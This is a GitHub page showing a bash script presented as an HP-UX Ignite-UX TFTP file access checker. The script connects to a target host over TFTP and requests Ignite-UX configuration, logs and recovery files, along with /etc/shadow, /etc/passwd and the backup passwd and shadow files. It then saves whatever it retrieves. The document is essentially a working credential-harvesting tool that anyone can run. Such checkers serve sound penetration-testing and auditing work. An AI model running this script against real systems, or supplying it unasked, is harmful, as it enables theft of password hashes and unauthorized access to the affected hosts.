-
Notifications
You must be signed in to change notification settings - Fork 17
/
hp_inite_tftp_checker.sh
executable file
·51 lines (45 loc) · 1.12 KB
/
hp_inite_tftp_checker.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/bin/bash
# HP-UX Ignite-UX TFTP File Access Checker
# by brad a.
echo "HP-UX Ignite-UX TFTP File Access Checker"
echo "by brad a."
echo "-------------------------------------------"
if [ $# != 1 ]; then
echo "Usage:"
echo -e "\t $@ <host>"
else
if [ -d $1-ignite ]; then
echo "[!] ERROR: $1-ignite already exists!"
else
mkdir $1-ignite/
cd $1-ignite
cat >> /tmp/hp_tftp_checker.tmp << EOF
connect $1
get /var/opt/ignite/config.local
get /var/opt/ignite/local/config
get /var/opt/ignite/local/host.info
get /var/opt/ignite/local/hw.info
get /var/opt/ignite/local/install.log
get /var/opt/ignite/local/manifest/manifest
get /var/opt/ignite/recovery/makrec.append
get /var/opt/ignite/recovery/ignite.defs
get /var/opt/ignite/server/preferences
get /var/opt/ignite/recovery/passwd.makrec
get /etc/shadow
get /etc/passwd
get /var/opt/ignite/recovery/passwd
get /var/opt/ignite/recovery/shadow
EOF
tftp < /tmp/hp_tftp_checker.tmp 2&> /dev/null
rm /tmp/hp_tftp_checker.tmp
for i in *; do
if [ -s $i ] ; then
echo Found file: $i;
else
rm $i
fi
done
cd ..
echo "Downloaded files are in $1-ignite"
fi
fi